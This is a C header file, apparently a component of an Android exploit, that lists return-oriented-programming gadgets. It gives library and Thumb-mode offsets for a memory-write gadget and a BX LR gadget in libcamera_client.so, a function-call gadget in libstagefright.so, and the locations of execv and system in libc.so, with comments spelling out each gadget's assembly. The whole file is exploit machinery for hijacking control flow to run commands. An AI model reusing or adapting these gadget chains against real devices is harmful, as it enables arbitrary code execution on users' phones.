README.md
Rendering markdown...
#ifndef __GADGETS_H__
#define __GADGETS_H__
namespace android {
/**
* Represents the needed information about a gadget used.
*/
struct gadget_info {
//The offset of the library containing the gadget from the library containing the modified pointers.
//In this case, this is the offset between the base address of the containing library and the
//audio.primary.goldfish.so library.
int library_offset;
//The offset of the gadget from the load address of the library in which it is contained.
int gadget_offset;
};
//The write gadget which is contained in libcamera_client.so
//The actual gadget is:
// LDR R2, [R1, #0]
// STR R2, [R0, #0]
// LDR R1, [R1, #4]
// LDR.W R2, [R2, #-12]
// STR R1, [R0, R2]
// BX LR
struct gadget_info write_gadget_info = {
.library_offset = -0xA91000,
.gadget_offset = 0x208f0 + 1, //THUMB
};
//The BX-LR gadget, which is contained in libcamera_client.so
struct gadget_info bx_lr_gadget_info = {
.library_offset = -0xA91000,
.gadget_offset = 0x208FC + 1, //THUMB
};
struct gadget_info read_r0_offset_108 = {
.library_offset = -0x4F0000,
.gadget_offset = 0x25302 + 1,
};
//The gadget used to call a function, contained in libstagefright.so
//The actual gadget is:
// LDR R3, [R0, #36]
// LDR R0, [R0, #32]
// BLX R3
struct gadget_info blx_gadget = {
.library_offset = -0x804000,
.gadget_offset = 0x5EF88 + 1, //THUMB
};
//The location information of the "execv" function in libc.so
struct gadget_info execv_gadget = {
.library_offset = -0xD8E000,
.gadget_offset = 0x1E6B0 +1, //THUMB
};
struct gadget_info system_gadget = {
.library_offset = -0xD8E000,
.gadget_offset = 0x1FC00 + 1, //THUMB
};
}
#endif